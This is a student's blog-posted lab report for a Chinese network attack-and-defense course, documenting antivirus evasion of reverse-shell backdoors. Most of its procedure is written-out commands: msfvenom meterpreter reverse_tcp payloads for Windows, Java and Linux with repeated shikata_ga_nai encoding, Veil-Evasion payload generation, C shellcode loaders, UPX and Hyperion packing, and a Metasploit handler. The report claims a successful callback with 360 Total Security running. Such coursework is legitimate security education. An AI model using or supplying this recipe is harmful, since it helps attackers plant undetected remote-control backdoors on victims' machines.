20222405 2024-2025-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

1.1 实践任务

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

(2)通过组合应用各种技术实现恶意代码免杀

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.2 问题回答

(1)杀软是如何检测出恶意代码的?

特征码检测:比对已知恶意软件的特定字节模式,检测已知威胁。

启发式检测:分析文件的结构和行为特征,发现新型或变种威胁。

行为分析:在沙盒中执行文件,观察其是否有恶意行为。

(2)免杀是做什么?

“免杀”是指恶意软件通过一些手段,逃避杀毒软件的检测,从而提高感染成功率。这些技术通过隐藏或动态改变恶意代码的特征,使其难以被特征码匹配、行为分析或沙盒检测发现。

(3)免杀的基本方法有哪些?

代码混淆:修改代码结构或指令顺序,隐藏特征码。

加壳与加密:使用加密或压缩技术包装恶意软件,掩盖其真实内容。

自修改代码:让代码在运行时动态变化,规避静态分析。

反沙盒与反调试:检测是否在虚拟环境或调试器中运行,避免被分析。

2.实验过程

任务一 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

先看一下实验二生成的后门程序

在virustotal网站检测后结果如下图

我们可以看出,没有经过处理的后门程序可以很容易地被杀毒软件检测出来

所以有必要对文件操作一下了

用msf编码器对后门程序进行编码

先输入msfvenom --list formats查看支持的输出格式

可以看到支持很多格式

生成后门程序,输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2405 -f exe > 20222405chuzhehao.exe

输入msfvenom --list encoders查看支持的编码方式

生成一次编码的后门程序,输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.247.128 LPORT=2405 -f exe > 20222405chuzhehao-2.exe

看起来一次编码没什么效果

生成十次编码的后门程序,输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.247.128 LPORT=2405 -f exe > 20222405chuzhehao-3.exe

只能说光编码没什么大用

生成jar文件,输入命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2405 -f jar > 20222405chuzhehao-4.jar

再进行编码,输入命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2405 -e x86/shikata_ga_nai -i 10 -f jar > 20222405chuzhehao-5.jar

生成elf文件,输入命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2405 -f elf > 20222405chuzhehao-6.elf

再进行编码,输入命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2405 -e x86/shikata_ga_nai -i 10 -f elf > 20222405chuzhehao-7.elf

可以看到效果好了很多

使用veil,加壳工具

首先安装veil

依次输入命令

mkdir -p ~/.cache/wine

cd ~/.cache/wine

wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi

wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

sudo apt-get install libncurses5*

sudo apt-get install libavutil55*

sudo apt-get install gcc-mingw-w64*

sudo apt-get install wine32

然后接着输入

apt-get install veil

cd /usr/share/veil/config/

vim setup.sh

打开文件后将第260行的下载地址改为https://gitee.com/spears/VeilDependencies.git

输入命令veil进行安装

一路安装或更新各种程序

成功安装veil

输入命令use evasion,进入veil—Evasion

输入命令list,查看能用的payload类型

我们使用第七个c/meterpretermrev_tcp.py,输入命令use 7

先看下虚拟机ip地址

依次输入命令

set LHOST 192.168.146.128

set LPORT 2405

generate

把生成的文件命名为20222405veil

输入命令

cd /var/lib/veil/output/compiled/

ls

查看生成的文件

对20222405veil.exe进行检测

使用C + shellcode编程

输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.146.128 LPORT=2405 -f c

编写C语言文件20222405.c

将生成的buf[]数组放入文件中

输入命令i686-w64-mingw32-g++ 20222405.c -o 20222405.exe将C语言文件编译为可执行文件

对20222405.exe进行检测

upx加壳

输入命令upx 20222405.exe -o upx20222405.exe

hyperion加壳

输入命令wine hyperion.exe -v upx20222405.exe hyperion20222405.exe

查看生成的可执行文件

对upx20222405.exe进行检测

对hyperion20222405.exe进行检测

感觉效果并不好

任务二 通过组合应用各种技术实现恶意代码免杀

原理:使用msfvenom生成Shellcode,以字节数组的形式保存,然后对Shellcode进行加密,以防止被静态分析工具直接检测到。加密后的数据被保存到文本文件中。接着用C语言编写程序,从文本文件中读取加密数据并实现解密,将其还原为原始Shellcode,通过函数指针和内存执行的方式运行Shellcode。最后将这个C程序编译为可在Windows上运行的.exe文件。

任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

电脑环境:Windows10 x64

杀毒引擎:360安全卫士

杀软版本:V13.0.0.2236

输入msfconsole打开控制台

依次输入命令

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.146.128

set LPORT 2405

run

主机运行后门程序,输入命令ls

回连成功

3.问题及解决方案

问题1:出现下图中的报错

问题1解决方案:依次输入命令dpkg --add-architecture i386sudo apt-get updatesudo apt-get install wine32

问题2:出现报错[!] ERROR #2-3: Can't find the wINE profile for AuotIT v3 (/var/lib/vei/wine//drive_c/program Files/AutoIt3/Aut2Exe/Aut2exe.exe).

问题2解决方案:输入sudo /usr/share/veil/config/setup.sh --force --silent

问题3:运行.exe可执行文件显示该程序无法在你的系统上运行

问题3解决方案:可执行文件是64位的,我的win10虚拟机是32位的系统,换成64位的系统即可解决

4.学习感悟、思考等

在这次实验中,Veil的安装过程非常坎坷,安装时经常卡在某个环节,甚至多次导致虚拟机崩溃,不得不重启虚拟机再从头开始操作,经过反复尝试后,我终于成功安装了Veil,但感觉虚拟机不太稳定。在实验中我尝试了多种免杀技术,虽然某些方法效果有限,但通过组合多种技术,最终显著降低了恶意代码的检测率。在这方面我还需要深入研究和提高技能。通过这次实验我了解到即使启用杀毒软件,也无法完全阻挡恶意代码的侵入。因此,确保计算机安全不能仅仅依赖杀毒软件,而是应采取多层次的防护策略,持续增强安全意识。

posted @ 2024-10-20 00:27  20222405楚喆皓  阅读(68)  评论(0编辑  收藏  举报